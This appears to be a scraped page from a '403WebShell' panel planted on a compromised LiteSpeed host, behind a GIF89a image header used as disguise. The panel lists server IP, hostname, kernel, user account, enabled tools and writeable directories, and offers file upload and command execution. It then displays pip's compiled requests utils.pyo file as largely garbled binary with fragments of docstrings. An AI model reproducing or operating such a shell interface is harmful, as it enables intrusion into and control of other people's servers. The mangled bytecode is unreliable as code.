GIF89a=( õ' 7IAXKgNgYvYx\%wh…hŽth%ˆs%—x¨}9®Œ©€&©‰%¶†(¹–.¹5·œD¹&Çš)ÇŸ5ǘ;Í£*È¡&Õ²)ׯ7×µ<Ñ»4ï°3ø‘HÖ§KͯT÷¨Yÿšqÿ»qÿÔFØ !ù ' !ÿ NETSCAPE2.0 , =( þÀ“pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§gª«ªE¯°¨¬ª±²Œ¹º¹E¾­”´ÂB¶¯ §Åȸ»ÑD¾¿Á•ÄÅ®° ÝH¾ÒLÀÆDÙ«D¶BÝïðÀ¾DÑÑÔTÌÍíH òGö¨A RÎڐ |¥ ٭&ºìE8œ¹kGÔAÞpx­a¶­ã R2XB®åE8I€Õ6Xî:vT)äžþÀq¦è³¥ì仕F~%xñ  4#ZÔ‰O|-4Bs‘X:= QÉ œš lºÒyXJŠGȦ|s hÏíK–3l7·B|¥$'7Jީܪ‰‡àá”Dæn=Pƒ ¤Òëí‰`䌨ljóá¯Éüv>á–Á¼5 ½.69ûϸd«­ºÀûnlv©‹ªîf{¬ÜãPbŸ  l5‘ޝpß ´ ˜3aÅùäI«O’ý·‘áÞ‡˜¾Æ‚ÙÏiÇÿ‹Àƒ #öó)pâš Þ½ ‘Ý{ó)vmÞü%D~ 6f s}ŃƒDØW Eþ`‡þ À…L8xá†ç˜{)x`X/> Ì}mø‚–RØ‘*|`D=‚Ø_ ^ð5 !_…'aä“OÚ—7âcð`D”Cx`ÝÂ¥ä‹éY¹—F¼¤¥Š?¡Õ™ n@`} lď’ÄÉ@4>ñd œ à‘vÒxNÃ×™@žd=ˆgsžG±æ ´²æud &p8Qñ)ˆ«lXD©øÜéAžHìySun jª×k*D¤LH] †¦§C™Jä–´Xb~ʪwStŽ6K,°£qÁœ:9ت:¨þªl¨@¡`‚ûÚ ».Û¬¯t‹ÆSÉ[:°=Š‹„‘Nåû”Ìî{¿ÂA ‡Rà›ÀÙ6úë°Ÿð0Ä_ ½;ÃϱîÉì^ÇÛÇ#Ëë¼ôº!±Ä˜íUîÅÇ;0L1óÁµö«p% AÀºU̬ݵ¼á%霼€‡¯Á~`ÏG¯»À× ­²± =4ªnpð3¾¤³¯­ü¾¦îuÙuµÙ®|%2ÊIÿür¦#0·ÔJ``8È@S@5ê¢ ö×Þ^`8EÜ]ý.뜃Âç 7 ú ȉÞj œ½Dç zý¸iþœÑÙûÄë!ˆÞÀl§Ïw‹*DçI€nEX¯¬¼ &A¬Go¼QföõFç°¯;é¦÷îŽêJ°îúôF5¡ÌQ|îúöXªæ»TÁÏyñêï]ê² o óÎC=öõ›ÒÓPB@ D×½œä(>èCÂxŽ`±«Ÿ–JЀ»Û á¤±p+eE0`ëŽ`A Ú/NE€Ø†À9‚@¤à H½7”à‡%B‰`Àl*ƒó‘–‡8 2ñ%¸ —€:Ù1Á‰E¸àux%nP1ð!‘ðC)¾P81lÑɸF#ˆ€{´âé°ÈB„0>±û °b¡Š´±O‚3È–Ù()yRpbµ¨E.Z‘D8ÊH@% òŒx+%Ù˜Æcü »¸˜fõ¬b·d`Fê™8èXH"ÉÈ-±|1Ô6iI, 2““¬$+](A*jÐ QTÂo‰.ÛU슬Œã„Ž`¯SN¡–¶Äåyše¯ª’­¬‚´b¦Éož œ)åyâ@Ì®3 ÎtT̉°&Ø+žLÀf"Ø-|žçÔ>‡Ðv¦Ðžì\‚ Q1)Ž@Žh#aP72”ˆ™¨$‚ !ù " , =( …7IAXG]KgNgYvYxR"k\%w]'}hŽth%ˆg+ˆs%—r.—m3šx3˜x¨}9®€&©€+¨‡7§‰%¶†(¹–.¹œD¹&ǘ;Í•&ײ)×»4ïÌ6ò§KÍ þ@‘pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g «¬ E ±± ¨­¶°ººE Á´”·®C¬²§Ç¶Œ»ÓDÃÕƷ¯Ê±H½ºM×ÁGÚ¬D¶BËÁ½î½DÓôTÏÛßîG»ôõC×CÌ l&âž:'òtU³6ɹ#·Ø)€'Ü.6±&ëÍÈ» K(8p0N?!æ2"ÛˆNIJX>R¼ÐO‚M '¡¨2¸*Ÿþ>#n↠å@‚<[:¡Iïf’ ¤TÚ˘CdbÜÙ“[«ŽEú5MBo¤×@€`@„€Êt W-3 ¶Ÿ¡BíêäjIÝ…Eò9[T…$íêﯧ„…•s»Óȳ¹€ÅÚdc®UUρ#±Ùïldj?´í¼²`\ŽÁðÞu|3'ÖŒ]ë6 ¶S#²‡˜FKLÈ *N E´‘áäŠ$˜›eÄYD„ºq«.è촁ƒs \-ÔjA 9²õ÷å- üúM[Âx(ís÷ì®x€|í¡Ù’p¦‚ ŽkÛTÇDpE@WÜ ²Ç]kŠ1¨ þ€·Yb ÓÁ‰l°*n0 ç™—žzBdОu¾7ĉBl€â‰-ºx~|UåU‰  h*Hœ|e"#"?vpÄiŠe6^ˆ„+qâŠm8 #VÇá ‘å–ÄV„œ|Аè•m"сœn|@›U¶ÆÎž—Špb¥G¨ED”€±Úê2FÌIç? >Éxå Œ± ¡¤„%‘žjŸ‘ꄯ<Ìaà9ijÐ2˜D¦È&›†Z`‚å]wþ¼Â:ç6àB¤7eFJ|õÒ§Õ,¨äàFÇ®cS·Ê¶+B°,‘Þ˜ºNûãØ>PADÌHD¹æž«ÄÀnÌ¥}­#Ë’ë QÀÉSÌÂÇ2ÌXÀ{æk²lQÁ2«ÊðÀ¯w|2Í h‹ÄÂG€,m¾¶ë3ÐÙ6-´ÅE¬L°ÆIij*K½ÀÇqï`DwVÍQXœÚÔpeœ±¬Ñ q˜§Tœ½µƒ°Œìu Â<¶aØ*At¯lmEØ ü ôÛN[P1ÔÛ¦­±$ÜÆ@`ùåDpy¶yXvCAyåB`ŽD¶ 0QwG#¯ æš[^Äþ $ÀÓÝǦ{„L™[±úKÄgÌ;ï£S~¹ìGX.ôgoT.»åˆ°ùŸûù¡?1zö¦Ÿž:ÅgÁ|ìL¹ „®£œŠ‚à0œ]PÁ^p F<"•ç?!,ñ‡N4—…PÄ Á„ö¨Û:Tè@hÀ‹%táÿ:ø-žI<`þ‹p I….)^ 40D#p@ƒj4–؀:²‰1Øâr˜¼F2oW¼#Z†;$Q q” ‘ ÂK¦ñNl#29 !’F@¥Bh·ᏀL!—XFóLH‘Kh¤.«hE&JòG¨¥<™WN!€ÑÙÚˆY„@†>Œž19J" 2,/ &.GXB%ÌRÈ9B6¹W]’î×ÔW¥’IÎ$ ñ‹ÓŒE8YÆ ¼³™ñA5“à®Q.aŸB€&Ø©³ JÁ—! ¦t)K%tœ-¦JF bòNMxLôþ)ÐR¸Ð™‘ èÝ6‘O!THÌ„HÛ ‰ !ù ) , =( …AXKgNgYvYxR"k\%wh…hŽh%ˆg+ˆs%—r.—x3˜x¨}9®€&©€+¨Œ,©‡7§‰%¶†(¹–.¹5·&Çš)ǘ;Í•&×£*Ȳ)ׯ7×»4ï°3øÌ6ò‘HÖ§KÍ»Hó¯T÷¨Yÿ»qÿÇhÿ þÀ”pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g ª« E$±²¨ª­ · °²½$E$ÂÕ««D· Í ¿¦Ç¶¸ÌŒ¾³CÃÅÆ E ééH½MÛÂGâªD­ çBêêϾD²ÒaÀà€Š1r­ðÓ¤ ÔožzU!L˜C'¾yW½UGtäÇïÙllê0×àÂuGþ)AÀs[þ·xì ÁxO%ƒûX2ó—  P£n›R/¡ÑšHše+êDm?# —‘Ç£6¡8íJ¡ŸâDiäªM¥Ö„ôj“¬¹£5oQ7°- <‡ *´lãÓŒ2r/a!l)dÈ A™ÈE¢ôÔ͆…ð ;Ö˜c ¡%ß‚’Ùˆâ¸b½—pe~C"BíëÚHïeF2§æŠ8qb t_`urŠeü wÅu3êæPv§h•"ß`íÍxçLĹÜÖ3á  ~Öº“®›¸ÏMDfJÙ °„ÛµáWõ%§œ‚à©–‚X ÓØ)@®Ñ›Eþ´wëuÅSxb8y\mÖzœ¥§ZbºE—ÂLªÌw!y(>¡™wú=Ç|ÅÝs¢d €CÁW)HÜcC$€L Ä7„r.á\{)@ð` @ äXÈ$PD” `šaG:§æˆOˆ72EÐamn]ù"ŒcÊxÑŒ° &dR8`g«iÙŸLR!¦P …d’ä¡“¦ðÎTƒ¦ià|À _ ¥ Qi#¦Šg›Æ ›noMµ ›V ã£)p ç£ÎW…š=Âeªk§†j„ ´®1ß²sÉxéW«jšl|0¯B0Û, \jÛ´›6±¬¶C ÛíWþï|ëÙ‹¸ñzĸV {ì;Ýñn¼òVˆm³I¼³.Ðã¤PN¥ ²µ¼„µCã+¹ÍByî£Ñ¾HŸ›ëê 7ìYÆFTk¨SaoaY$Dµœìï¿Ã29RÈkt Çïfñ ÇÒ:ÀÐSp¹3ÇI¨â¥DZÄ ü9Ïýögñ½­uÔ*3)O‘˜Ö[_hv ,àî×Et Ÿé¶BH€ Õ[ü±64M@ÔSÌM7dÐl5-ÄÙU܍´©zߌ3Ô€3ž„ „ ¶ÛPô½5×g› êÚ˜kN„Ý…0Îj4€Ìë°“#{þÕ3S2çKÜ'ợlø¼Ú2K{° {Û¶?žm𸧠ËI¼nEò='êüóºè^üæÃ_Û=°óž‚ì#Oý¿Í'¡½áo..ÏYìnüñCœO±Áa¿¢Kô½o,üÄËbö²çºíï{ËC Ú— "”Ï{ËK ÍÒw„õ±Oz dÕ¨à:$ ƒô—«v»] A#ð «€¿šéz)Rx׿ˆ¥‚d``èw-îyÏf×K!ð€þ­Ð|ìPľ„=Ì`ý(f” 'Pa ¥ÐBJa%Ðâf§„%Š¡}FàáÝ×6>ÉäŠG"éŽè=ø!oа^FP¼Ø©Q„ÀCÙÁ`(Ž\ÄÝ® ©Â$<n@dÄ E#ììUÒI! ‚#lù‹`k¦ÐÇ'Rró’ZýNBÈMF Í[¤+‹ðɈ-áwj¨¥þ8¾rá ,VÂh„"|½œ=×G_¦Ñ™EØ 0i*%̲˜Æda0mV‚k¾)›;„&6 p>ÓjK “¦Ç# âDÂ:ûc?:R Ó¬fÞéI-Ì“•Ã<ä=™Ï7˜3œ¨˜c2ŒW ,ˆ”8(T™P‰F¡Jhç"‚ ; 403WebShell
403Webshell
Server IP : 104.21.83.152  /  Your IP : 216.73.216.195
Web Server : LiteSpeed
System : Linux premium229.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
User : akhalid ( 749)
PHP Version : 8.3.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python2.7/site-packages/pip/_vendor/requests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python2.7/site-packages/pip/_vendor/requests/utils.pyo
�
��abc@s\dZddlZddlZddlZddlZddlZddlZddlZddlZddl	Z	ddl
Z
ddlZddlmZddl
mZddlmZddlmZddlmZmZmZmZmZmZmZmZmZmZmZmZm Z m!Z!dd	l"m#Z#dd
l$m%Z%ddl&m'Z'm(Z(m)Z)m*Z*d@Z+ej,�Z-idd6dd6Z.ej/�dkr�d�Z0d�Znd�Z1d�Z2e3d�Z4d�Z5d�Z6d�Z7d�Z8d�Z9e3d�Z:d�Z;d�Z<d �Z=d!�Z>d"�Z?d#�Z@d$�ZAeBd%d&�ZCd'�ZDd(�ZEd)�ZFd*�ZGd+�ZHd,�ZIejJd-��ZKd.�ZLdd/�ZNd0�ZOd1d2�ZPd3�ZQd4�ZRd5jSd6�ZTeTd7ZUeTd8ZVd9�ZWd:�ZXd;�ZYejZd<�Z[ejZd<�Z\d=�Z]d>�Z^d?�Z_dS(As�
requests.utils
~~~~~~~~~~~~~~

This module provides utility functions that are used within Requests
that are also useful for external consumption.
i����Ni(t__version__(tcerts(tto_native_string(tparse_http_list(tquoteturlparsetbyteststrtOrderedDicttunquotet
getproxiestproxy_bypasst
urlunparset
basestringt
integer_typestis_py3tproxy_bypass_environmenttgetproxies_environment(tcookiejar_from_dict(tCaseInsensitiveDict(t
InvalidURLt
InvalidHeadertFileModeWarningtUnrewindableBodyErrors.netrct_netrciPthttpi�thttpstWindowscCs"trddl}nddl}yE|j|jd�}|j|d�d}|j|d�d}Wntk
rztSX|s�|r�tS|jd�}x|D]w}|dkr�d|kr�t	Sn|j
dd	�}|j
d
d�}|j
dd�}tj||tj
�r�t	Sq�WtS(
Ni����s;Software\Microsoft\Windows\CurrentVersion\Internet SettingstProxyEnableit
ProxyOverridet;s<local>t.s\.t*s.*t?(Rtwinregt_winregtOpenKeytHKEY_CURRENT_USERtQueryValueExtOSErrortFalsetsplittTruetreplacetretmatchtI(thostR"tinternetSettingstproxyEnablet
proxyOverridettest((s>/usr/lib/python2.7/site-packages/pip/_vendor/requests/utils.pytproxy_bypass_registry.s2		
	

cCs!t�rt|�St|�SdS(s�Return True, if the host should be bypassed.

        Checks proxy settings gathered from the environment, if specified,
        or the registry.
        N(RRR4(R/((s>/usr/lib/python2.7/site-packages/pip/_vendor/requests/utils.pyROs	
cCs"t|d�r|j�}n|S(s/Returns an internal sequence dictionary update.titems(thasattrR5(td((s>/usr/lib/python2.7/site-packages/pip/_vendor/requests/utils.pytdict_to_sequence[scCs�d}d}t|d�r*t|�}n�t|d�rE|j}nmt|d�r�y|j�}Wntjk
rzq�Xtj|�j}d|j	kr�t
jdt�q�nt|d�rty|j
�}Wn,ttfk
r�|dk	rq|}qqqtXt|d�rt|dkrty3|jdd	�|j
�}|j|pId�Wqqttfk
rmd}qqXqtn|dkr�d}ntd||�S(
Nit__len__tlentfilenotbs%Requests has determined the content-length for this request using the binary size of the file: however, the file has been opened in text mode (i.e. without the 'b' flag in the mode). This may lead to an incorrect content-length. In Requests 3.0, support will be removed for files in text mode.ttelltseeki(tNoneR6R:R;tiotUnsupportedOperationtostfstattst_sizetmodetwarningstwarnRR=R'tIOErrorR>tmax(tottotal_lengthtcurrent_positionR;((s>/usr/lib/python2.7/site-packages/pip/_vendor/requests/utils.pyt	super_lends@

	cCseyGddlm}m}d}x^tD]V}ytjjdj|��}Wntk
r_dSXtjj	|�r&|}Pq&q&W|dkr�dSt
|�}d}t|t�r�|j
d�}n|jj|�d}	yG||�j|	�}
|
r|
drdnd}|
||
d	fSWn#|tfk
rE|rF�qFnXWnttfk
r`nXdS(
s;Returns the Requests tuple auth for a given url from netrc.i����(tnetrctNetrcParseErrors~/{0}Nt:tasciiiii(RNROR?tNETRC_FILESRBtpatht
expandusertformattKeyErrortexistsRt
isinstanceRtdecodetnetlocR)tauthenticatorsRHtImportErrortAttributeError(turltraise_errorsRNROt
netrc_pathtftloctritsplitstrR/Rtlogin_i((s>/usr/lib/python2.7/site-packages/pip/_vendor/requests/utils.pytget_netrc_auth�s8

cCs[t|dd�}|rWt|t�rW|ddkrW|ddkrWtjj|�SdS(s0Tries to guess the filename of the given object.tnameit<i����t>N(tgetattrR?RXR
RBRStbasename(tobjRg((s>/usr/lib/python2.7/site-packages/pip/_vendor/requests/utils.pytguess_filename�s%cCsD|dkrdSt|ttttf�r:td��nt|�S(s�Take an object and test to see if it can be represented as a
    dictionary. Unless it can not be represented as such, return an
    OrderedDict, e.g.,

    ::

        >>> from_key_val_list([('key', 'val')])
        OrderedDict([('key', 'val')])
        >>> from_key_val_list('string')
        ValueError: need more than 1 value to unpack
        >>> from_key_val_list({'key': 'val'})
        OrderedDict([('key', 'val')])

    :rtype: OrderedDict
    s+cannot encode objects that are not 2-tuplesN(R?RXRRtbooltintt
ValueErrorR(tvalue((s>/usr/lib/python2.7/site-packages/pip/_vendor/requests/utils.pytfrom_key_val_list�s
cCse|dkrdSt|ttttf�r:td��nt|tj�r[|j	�}nt
|�S(s�Take an object and test to see if it can be represented as a
    dictionary. If it can be, return a list of tuples, e.g.,

    ::

        >>> to_key_val_list([('key', 'val')])
        [('key', 'val')]
        >>> to_key_val_list({'key': 'val'})
        [('key', 'val')]
        >>> to_key_val_list('string')
        ValueError: cannot encode objects that are not 2-tuples.

    :rtype: list
    s+cannot encode objects that are not 2-tuplesN(R?RXRRRnRoRptcollectionstMappingR5tlist(Rq((s>/usr/lib/python2.7/site-packages/pip/_vendor/requests/utils.pytto_key_val_list�scCshg}x[t|�D]M}|d |dko8dknrSt|dd!�}n|j|�qW|S(sParse lists as described by RFC 2068 Section 2.

    In particular, parse comma-separated lists where the elements of
    the list may include quoted-strings.  A quoted-string could
    contain a comma.  A non-quoted string could have quotes in the
    middle.  Quotes are removed automatically after parsing.

    It basically works like :func:`parse_set_header` just that items
    may appear multiple times and case sensitivity is preserved.

    The return value is a standard :class:`list`:

    >>> parse_list_header('token, "quoted value"')
    ['token', 'quoted value']

    To create a header from the :class:`list` again, use the
    :func:`dump_header` function.

    :param value: a string with a list header.
    :return: :class:`list`
    :rtype: list
    ii����t"(t_parse_list_headertunquote_header_valuetappend(Rqtresulttitem((s>/usr/lib/python2.7/site-packages/pip/_vendor/requests/utils.pytparse_list_headers$cCs�i}x�t|�D]~}d|kr5d||<qn|jdd�\}}|d |dkoldknr�t|dd!�}n|||<qW|S(s^Parse lists of key, value pairs as described by RFC 2068 Section 2 and
    convert them into a python dict:

    >>> d = parse_dict_header('foo="is a fish", bar="as well"')
    >>> type(d) is dict
    True
    >>> sorted(d.items())
    [('bar', 'as well'), ('foo', 'is a fish')]

    If there is no value for a key it will be `None`:

    >>> parse_dict_header('key_without_value')
    {'key_without_value': None}

    To create a header from the :class:`dict` again, use the
    :func:`dump_header` function.

    :param value: a string with a dict header.
    :return: :class:`dict`
    :rtype: dict
    t=ii����RwN(RxR?R)Ry(RqR{R|Rg((s>/usr/lib/python2.7/site-packages/pip/_vendor/requests/utils.pytparse_dict_header1s
$cCsq|rm|d|dko%dknrm|dd!}|sN|d dkrm|jdd�jdd�Sn|S(	s�Unquotes a header value.  (Reversal of :func:`quote_header_value`).
    This does not use the real unquoting but what browsers are actually
    using for quoting.

    :param value: the header value to unquote.
    :rtype: str
    ii����Rwiis\\s\s\"(R+(Rqtis_filename((s>/usr/lib/python2.7/site-packages/pip/_vendor/requests/utils.pyRyTs
*
cCs+i}x|D]}|j||j<q
W|S(s�Returns a key/value dictionary from a CookieJar.

    :param cj: CookieJar object to extract cookies from.
    :rtype: dict
    (RqRg(tcjtcookie_dicttcookie((s>/usr/lib/python2.7/site-packages/pip/_vendor/requests/utils.pytdict_from_cookiejarms
cCs
t||�S(s�Returns a CookieJar from a key/value dictionary.

    :param cj: CookieJar to insert cookies into.
    :param cookie_dict: Dict of key/values to insert into CookieJar.
    :rtype: CookieJar
    (R(R�R�((s>/usr/lib/python2.7/site-packages/pip/_vendor/requests/utils.pytadd_dict_to_cookiejar|scCsvtjdt�tjddtj�}tjddtj�}tjd�}|j|�|j|�|j|�S(slReturns encodings from given content string.

    :param content: bytestring to extract encodings from.
    s�In requests 3.0, get_encodings_from_content will be removed. For more information, please see the discussion on issue #2266. (This warning should only appear once.)s!<meta.*?charset=["\']*(.+?)["\'>]tflagss+<meta.*?content=["\']*;?charset=(.+?)["\'>]s$^<\?xml.*?encoding=["\']*(.+?)["\'>](RFRGtDeprecationWarningR,tcompileR.tfindall(tcontentt
charset_ret	pragma_retxml_re((s>/usr/lib/python2.7/site-packages/pip/_vendor/requests/utils.pytget_encodings_from_content�scCs_|jd�}|sdStj|�\}}d|krK|djd�Sd|kr[dSdS(s}Returns encodings from given HTTP Header Dict.

    :param headers: dictionary to extract encoding from.
    :rtype: str
    scontent-typetcharsets'"ttexts
ISO-8859-1N(tgetR?tcgitparse_headertstrip(theaderstcontent_typetparams((s>/usr/lib/python2.7/site-packages/pip/_vendor/requests/utils.pytget_encoding_from_headers�sccs�|jdkr)x|D]}|VqWdStj|j�dd�}x+|D]#}|j|�}|rK|VqKqKW|jddt�}|r�|VndS(sStream decodes a iterator.NterrorsR+ttfinal(tencodingR?tcodecstgetincrementaldecoderRYR*(titeratortrR|tdecodertchunktrv((s>/usr/lib/python2.7/site-packages/pip/_vendor/requests/utils.pytstream_decode_response_unicode�s
	
ccsdd}|dks|dkr-t|�}nx0|t|�kr_||||!V||7}q0WdS(s Iterate over slices of a string.iN(R?R:(tstringtslice_lengthtpos((s>/usr/lib/python2.7/site-packages/pip/_vendor/requests/utils.pytiter_slices�scCs�tjdt�g}t|j�}|rcyt|j|�SWqctk
r_|j|�qcXnyt|j|dd�SWnt	k
r�|jSXdS(s�Returns the requested content back in unicode.

    :param r: Response object to get unicode content from.

    Tried:

    1. charset from content-type
    2. fall back and replace all unicode characters

    :rtype: str
    s�In requests 3.0, get_unicode_from_response will be removed. For more information, please see the discussion on issue #2266. (This warning should only appear once.)R�R+N(
RFRGR�R�R�RR�tUnicodeErrorRzt	TypeError(R�ttried_encodingsR�((s>/usr/lib/python2.7/site-packages/pip/_vendor/requests/utils.pytget_unicode_from_response�s

t4ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzs0123456789-._~cCs�|jd�}x�tdt|��D]�}||dd!}t|�dkr�|j�r�ytt|d��}Wn!tk
r�td|��nX|tkr�|||d||<q�d||||<q%d||||<q%Wdj	|�S(s�Un-escape any percent-escape sequences in a URI that are unreserved
    characters. This leaves all reserved, illegal and non-ASCII bytes encoded.

    :rtype: str
    t%iiiis%Invalid percent-escape sequence: '%s'R�(
R)trangeR:tisalnumtchrRoRpRtUNRESERVED_SETtjoin(turitpartstithtc((s>/usr/lib/python2.7/site-packages/pip/_vendor/requests/utils.pytunquote_unreserved�s
cCsKd}d}ytt|�d|�SWntk
rFt|d|�SXdS(s�Re-quote the given URI.

    This function passes the given URI through an unquote/quote cycle to
    ensure that it is fully and consistently quoted.

    :rtype: str
    s!#$%&'()*+,/:;=?@[]~s!#$&'()*+,/:;=?@[]~tsafeN(RR�R(R�tsafe_with_percenttsafe_without_percent((s>/usr/lib/python2.7/site-packages/pip/_vendor/requests/utils.pytrequote_uri
s
cCs�tjdtj|��d}|jd�\}}tjdtjtt|����d}tjdtj|��d|@}||@||@kS(s�This function allows you to check if an IP belongs to a network subnet

    Example: returns True if ip = 192.168.1.1 and net = 192.168.1.0/24
             returns False if ip = 192.168.1.1 and net = 192.168.100.0/24

    :rtype: bool
    s=Lit/(tstructtunpacktsockett	inet_atonR)tdotted_netmaskRo(tiptnettipaddrtnetaddrtbitstnetmasktnetwork((s>/usr/lib/python2.7/site-packages/pip/_vendor/requests/utils.pytaddress_in_network#s
+#cCs/ddd|>dA}tjtjd|��S(s�Converts mask from /xx format to xxx.xxx.xxx.xxx

    Example: if mask is 24 function returns 255.255.255.0

    :rtype: str
    I����ii s>I(R�t	inet_ntoaR�tpack(tmaskR�((s>/usr/lib/python2.7/site-packages/pip/_vendor/requests/utils.pyR�2scCs-ytj|�Wntjk
r(tSXtS(s
    :rtype: bool
    (R�R�terrorR(R*(t	string_ip((s>/usr/lib/python2.7/site-packages/pip/_vendor/requests/utils.pytis_ipv4_address=s
cCs�|jd�dkr�yt|jd�d�}Wntk
rFtSX|dks_|dkrctSytj|jd�d�Wq�tjk
r�tSXntStS(sV
    Very simple check of the cidr format in no_proxy variable.

    :rtype: bool
    R�ii i(	tcountRoR)RpR(R�R�R�R*(tstring_networkR�((s>/usr/lib/python2.7/site-packages/pip/_vendor/requests/utils.pyt
is_valid_cidrHs
ccst|dk	}|r4tjj|�}|tj|<nz	dVWd|ro|dkr_tj|=qo|tj|<nXdS(s�Set the environment variable 'env_name' to 'value'

    Save previous value, yield, and then restore the previous value stored in
    the environment variable 'env_name'.

    If 'value' is None, do nothingN(R?RBtenvironR�(tenv_nameRqt
value_changedt	old_value((s>/usr/lib/python2.7/site-packages/pip/_vendor/requests/utils.pytset_environ`s	
c	
Cscd�}|}|d	kr*|d�}nt|�j}|rd�|jdd�jd�D�}|jd�d}t|�r�x�|D]8}t|�r�t||�r�tSq�||kr�tSq�Wqx@|D]5}|j	|�s|jd�dj	|�r�tSq�Wnt
d|��8yt|�}Wn tt
jfk
rNt}nXWd	QX|r_tStS(
sL
    Returns whether we should bypass proxies or not.

    :rtype: bool
    cSs(tjj|�p'tjj|j��S(N(RBR�R�tupper(tk((s>/usr/lib/python2.7/site-packages/pip/_vendor/requests/utils.pyt<lambda>|R�tno_proxycss|]}|r|VqdS(N((t.0R/((s>/usr/lib/python2.7/site-packages/pip/_vendor/requests/utils.pys	<genexpr>�st R�t,RPiN(R?RRZR+R)R�R�R�R*tendswithR�RR�R�tgaierrorR((	R^R�t	get_proxytno_proxy_argRZR�tproxy_ipR/tbypass((s>/usr/lib/python2.7/site-packages/pip/_vendor/requests/utils.pytshould_bypass_proxiesvs4	%

+cCs!t|d|�riSt�SdS(sA
    Return a dict of environment proxies.

    :rtype: dict
    R�N(R�R
(R^R�((s>/usr/lib/python2.7/site-packages/pip/_vendor/requests/utils.pytget_environ_proxies�scCs�|p	i}t|�}|jdkrC|j|j|jd��S|jd|j|jd|jdg}d}x(|D] }||krz||}PqzqzW|S(s�Select a proxy for the url, if applicable.

    :param url: The url being for the request
    :param proxies: A dictionary of schemes or schemes and hosts to proxy URLs
    talls://sall://N(RthostnameR?R�tscheme(R^tproxiesturlpartst
proxy_keystproxyt	proxy_key((s>/usr/lib/python2.7/site-packages/pip/_vendor/requests/utils.pytselect_proxy�s
	

spython-requestscCsd|tfS(sO
    Return a string representing the default user agent.

    :rtype: str
    s%s/%s(R(Rg((s>/usr/lib/python2.7/site-packages/pip/_vendor/requests/utils.pytdefault_user_agent�scCs2tit�d6djd
�d6dd6dd	6�S(s9
    :rtype: requests.structures.CaseInsensitiveDict
    s
User-Agents, tgziptdeflatesAccept-Encodings*/*tAccepts
keep-alivet
Connection(R�R�(RR�R�(((s>/usr/lib/python2.7/site-packages/pip/_vendor/requests/utils.pytdefault_headers�s

c	Cs�g}d}x�tjd|�D]�}y|jdd�\}}Wntk
ra|d}}nXi|jd�d6}xa|jd�D]P}y|jd�\}}Wntk
r�PnX|j|�||j|�<q�W|j|�qW|S(	s�Return a dict of parsed link headers proxies.

    i.e. Link: <http:/.../front.jpeg>; rel=front; type="image/jpeg",<http://.../back.jpeg>; rel=back;type="image/jpeg"

    :rtype: list
    s '"s, *<RiR�s<> '"R^R~(R,R)RpR�Rz(	Rqtlinkst
replace_charstvalR^R�tlinktparamtkey((s>/usr/lib/python2.7/site-packages/pip/_vendor/requests/utils.pytparse_header_links�s 

 sRQiicCs|d }|tjtjfkr&dS|d tjkr=dS|d tjtjfkr]dS|jt�}|dkr|dS|dkr�|d	d	d�tkr�d
S|dd	d�tkr�dSn|dkr�|d t	kr�d
S|dt	kr�dSnd	S(s
    :rtype: str
    isutf-32is	utf-8-sigisutf-16isutf-8Ns	utf-16-beis	utf-16-les	utf-32-bes	utf-32-le(R�tBOM_UTF32_LEtBOM_UTF32_BEtBOM_UTF8tBOM_UTF16_LEtBOM_UTF16_BER�t_nullt_null2t_null3R?(tdatatsamplet	nullcount((s>/usr/lib/python2.7/site-packages/pip/_vendor/requests/utils.pytguess_json_utfs*
cCsSt||�\}}}}}}|s7||}}nt||||||f�S(s�Given a URL that may or may not have a scheme, prepend the given scheme.
    Does not replace a present scheme with the one provided as an argument.

    :rtype: str
    (RR(R^t
new_schemeR�RZRSR�tquerytfragment((s>/usr/lib/python2.7/site-packages/pip/_vendor/requests/utils.pytprepend_scheme_if_needed1s!cCsRt|�}y"t|j�t|j�f}Wnttfk
rMd}nX|S(s{Given a url with authentication components, extract them into a tuple of
    username,password.

    :rtype: (str,str)
    R�(R�R�(RR	tusernametpasswordR]R�(R^tparsedtauth((s>/usr/lib/python2.7/site-packages/pip/_vendor/requests/utils.pytget_auth_from_urlBs"
s^\S[^\r\n]*$|^$cCs�|\}}t|t�r$t}nt}y&|j|�sOtd|��nWn0tk
r�td||t|�f��nXdS(s�Verifies that header value is a string which doesn't contain
    leading whitespace or return characters. This prevents unintended
    header injection.

    :param header: tuple, in the format (name, value).
    s7Invalid return character or leading space in header: %ss>Value for header {%s: %s} must be of type str or bytes, not %sN(RXRt_CLEAN_HEADER_REGEX_BYTEt_CLEAN_HEADER_REGEX_STRR-RR�ttype(theaderRgRqtpat((s>/usr/lib/python2.7/site-packages/pip/_vendor/requests/utils.pytcheck_header_validityWs	
cCsft|�\}}}}}}|s4||}}n|jdd�d}t|||||df�S(sW
    Given a url remove the fragment and the authentication part.

    :rtype: str
    t@ii����R�(RtrsplitR(R^R�RZRSR�RR
((s>/usr/lib/python2.7/site-packages/pip/_vendor/requests/utils.pyt
urldefragauthls
cCs}t|jdd�}|dk	rmt|jt�rmy||j�Wqyttfk
ritd��qyXntd��dS(sfMove file pointer back to its recorded starting position
    so it can be read again on redirect.
    R>s;An error occurred when rewinding request body for redirect.s+Unable to rewind request body for redirect.N(	RjtbodyR?RXt_body_positionRRHR'R(tprepared_requestt	body_seek((s>/usr/lib/python2.7/site-packages/pip/_vendor/requests/utils.pytrewind_body}s(s.netrcR(`t__doc__R�R�Rst
contextlibR@RBtplatformR,R�R�RFRR�Rt_internal_utilsRtcompatRRxRRRRRR	R
